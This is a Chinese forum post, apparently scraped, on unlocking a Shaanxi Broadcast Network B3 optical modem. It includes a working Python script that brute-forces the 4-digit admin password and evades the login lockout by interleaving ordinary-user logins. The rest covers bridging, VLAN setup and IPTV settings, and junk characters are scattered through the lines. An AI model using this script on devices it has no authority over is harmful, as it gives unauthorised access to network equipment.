坐标 029 ,最近拉了条陕西广电的 IPTV ,随线路还有一条 300M 宽带,想着可以做做联通 1000M 线路的冗余备份,顺便能折腾下陕西广电的组播源,毕竟广电的频道数量和码率吊打陕西联通。陕西联通 IPTV 就是个渣渣,频道少码率差不说,还不是单独组播线路,直播点播统统占我带宽。 然而广电小哥拉完线路调测完并不肯告诉我光猫超级密码,这必须不能忍。网上找了一圈发现古早 B1 、B2 版本的方法在 B3 光猫跟前统统不能用,但受到之前方法的启发,发现光猫上报配置之后依然会将 useradmin 的超级密码更改为随机 4 位数字的弱密码,那就很容易穷举出来。所以思路和 B2 版本一致,但 B2 判断登陆成功与否的方式在 B3 版本上已不适用。 通过抓包发现 B3 版本的光猫在登陆成功后会有个 302 重定向,并且尝试 3 次登陆失败后会有一个 180 秒的锁定时间,但在 3 次尝试中只要有一次正常的登陆就可以重置这个计数器。 所以总结一下思路: - 抓包分析登陆动作实现逻辑及 URL
- useradmin 的密码从 0000 开始尝试至 9999 ,通过判断是否有 302 响应确定登陆成功与否
- 为防止 3 次登陆锁定,需要每尝试 2 次之后成功登陆一下 user 普通用户重置计数器2 D6 @3 p/ h( q) d3 `4 q
根据以上思路随便写了段 python ,以下代码: - import requests9 g) ?* P( z: S& K
- from bs4 import BeautifulSoup% t7 S, `) J. A+ | l9 Y0 p- b
- import re: K- O5 m1 c2 P
, o7 L* w" A* `; h8 x- for i in range(10000):9 L9 S- [ E. l: ^/ O8 z
- User_Agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"
$ G3 A0 n. H1 c$ N1 F$ Q - 0 i$ I9 E L/ J9 M, n7 L
- headers = {"User-Agent": User_Agent}6 Y5 ?2 y/ u/ n/ C
- session = requests.Session()' `( Y1 n/ k% P, F
* u l4 w+ d8 k( k7 r1 Y+ T- response = session.get("http://192.168.1.1")
4 X. Z* L7 s! N3 U% f" M - cookies = session.cookies' l. p' C4 |$ T8 J
- 4 u7 g6 ~1 Q+ L( ^( O. f8 F2 _
- login_url = "http://192.168.1.1/boaform/admin/formLogin"
. q' Q6 N2 Q7 x! g4 A - if (i % 2 == 1 or i == 0):
! j" Z4 k* y, \& A6 K+ X6 a3 ` - # 防止密码错误次数到达上限,*替换成自己光猫的 user 密码
0 Z0 C( Z* Z& {6 d% H0 y R; ~' n - login_data = {"username": "user", "psd": "********", "login_in": "%B5%C7%C2%BC"}
; |# K! e& g/ G - session.post(login_url, login_data, allow_redirects=False)
. [4 u6 n7 L6 D5 f - logout_url = "http://192.168.1.1/boaform/admin/formLogout"4 b. n4 T( q" N: @) S, m6 k
- session.post(logout_url, allow_redirects=False)
( C. N$ s( t Z - # 尝试以 useradmin 及 4 位数字密码登陆' W4 X& x# c1 s+ F9 M
- login_data = {"username": "useradmin", "psd": "{:04d}".format(i), "login_in": "%B5%C7%C2%BC"}
- i; [; X# N+ d! D* b- \5 Y - res = session.post(login_url, login_data, allow_redirects=False)
8 f2 t" T$ P$ f5 r+ p6 S' C% c2 Y - ( R0 O4 {( M; o1 I
- # 检查是否有 302 重定向( P8 a* {$ v% w9 a4 t) k
- if res.status_code == 302: j4 s% T5 Z% R% C h
- print("Login succeeded with password:", "{:04d}".format(i))& e8 s6 l5 q& t+ w
- break
0 |' w0 B& {7 q6 K" @" `) k - else:
8 u o/ @/ |) r% C0 l, J8 _5 k1 D: V - print("Login failed for password:", "{:04d}".format(i))
复制代码懒得优化了,能跑就行
7 X! ~% W, n' f ) c8 x6 l `. C9 |# M
然而我这个随机密码居然是 9 开头 4 位数,以至于我一度认为脚本有问题。。。。
( u- G6 ~/ }' R. u/ }尝试登陆一下 # j8 K9 R' w. L+ W2 @: W
这下看起来舒服多了,随手翻翻 WAN 线路配置- n8 F0 Q# M' F9 |' h, Q
& ?+ w7 @. K& @* R
vlan44 宽带,vlan45 iptv ,顺手想改个桥接,正苦于哪找 pppoe 签权信息,发现广电这个大善人居然就在页面上写着:" R! k1 Z7 N& N6 m8 ^- x: e% ]2 r
0 d0 ]% O: S1 K7 _$ c! c9 _
那就不客气了,必须桥接走起
' C# U# }- U) _0 z 5 H6 ]4 ~5 k! L& H7 e
8 c4 T: f, p t& O5 P6 Y
光猫里找了一圈并没找到 vlan mapping 的配置,总不能再拉根线到电视柜啊?
2 B- t+ b6 E3 L9 d- k那就进后台翻翻看配置藏哪了
" a* q# M8 W9 c 9 U4 H7 l2 y( d
还真给翻到了" N& A( k7 P2 [7 n% W1 R# i+ g
# x' A) O& T1 N- t" r
那不客气了,vlan 号懒得改就随手用它的,反正屋里多这俩也不冲突。
- E8 a) b' K3 V9 n- m( d广电盒子划 vlan45 里,接电视一切正常。
! \- R- x' s- s8 W' O" u300M 宽带聊胜于无,写个冗余留给 wireguard ,ros 里新起个 vrf ,AC 里绑个无线没密码限速 8M 给隔壁小孩谋谋福利。. o4 {' H- i* j) w, x ]
iptv 组播源改天再折腾吧7 B. y2 G, t, q7 |6 N3 U" K5 R
PS.iptv vlan45 要有 dhcp option60 才能拿到地址。陕西广电 option60 居然是'600831STB',呵呵。。" P$ |+ J a; Y. Q% `
7 r% Q2 ~8 v1 X) e* P
以上,有陕西广电的兄弟可以参考一下。
& k$ G! B9 S- [& ` ( a: ^- ~' N' d1 M' `
|